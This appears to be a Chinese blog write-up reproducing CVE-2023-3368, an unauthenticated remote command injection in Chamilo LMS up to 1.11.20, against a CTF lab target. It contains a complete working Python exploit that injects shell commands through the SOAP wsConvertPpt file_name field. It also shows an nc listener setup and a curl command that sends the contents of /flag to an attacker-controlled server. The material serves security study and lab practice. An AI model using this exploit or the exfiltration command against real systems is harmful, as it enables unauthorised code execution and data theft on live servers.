Chamilo LMS 未经身份验证RCE漏洞(CVE-2023-3368)

0x01 前言

Chamilo LMS <= v1.11.20 /main/webservices/additional_webservices.php 中的命令注入允许未经身份验证的攻击者通过不当中和特殊字符来获取远程代码执行。这是对 CVE-2023-34960 的绕过。
影响范围:

  • Affected 版本 <= 1.11.20

复现准备:

  • 靶机:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com/
  • 公网服务器:10.10.10.1

0x02 复现

1. POC

#!/usr/bin/env python3
import argparse
import requests

SOAP_REQUEST_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{payload}</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
'''

def execute_command(url, command, technique):
    payload = f'$({command})' if technique == 'substitution' else f""""\n{command}\n"""
    data = SOAP_REQUEST_TEMPLATE.format(url=url, payload=payload)

    try:
        response = requests.post(f'{url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
        return (response.status_code == 200 and "wsConvertPptResponse" in response.text)
    except:
        return False

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Url of your Chamilo', required=True)
    parser.add_argument('-c', '--command', help='Command to execute', required=False)
    parser.add_argument('-t', '--technique', default='substitution', choices=['substitution', 'newline'], help='Command to execute', required=False)

    args = parser.parse_args()

    if args.command is None:
        if execute_command(args.url, 'id', args.technique):
            print(f'URL vulnerable: {args.url}')
        else:
            print(f'URL not vulnerable: {args.url}')
    else:
        if execute_command(args.url, args.command, args.technique):
            print(f'Command executed: {args.command}')
        else:
            print(f'An error has occured, URL is not vulnerable: {args.url}')

if __name__ == '__main__':
    main()

2. 漏洞利用

将以下代码复制到 poc.py 文件中,使用终端执行:

python3 poc.py -u http://xxxxx.cloudeci1.ichunqiu.com/ -c "whoami"
# -u 靶机 url
# -c 命令行字符串

执行后,发现命令执行成功,但是无回显。

3. 端口监听

使用 nc 开启端口监听:

# 监听 4444 端口
nc -lvvp 4444

1721210016573.png
修改漏洞利用执行命令并重新执行:

python3 poc.py -u http://xxxxx.cloudeci1.ichunqiu.com/ -c "curl http://10.10.10.1:4444/?data=\$(cat /flag)"

此时,4444 端口监听显示 flag
image.png

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值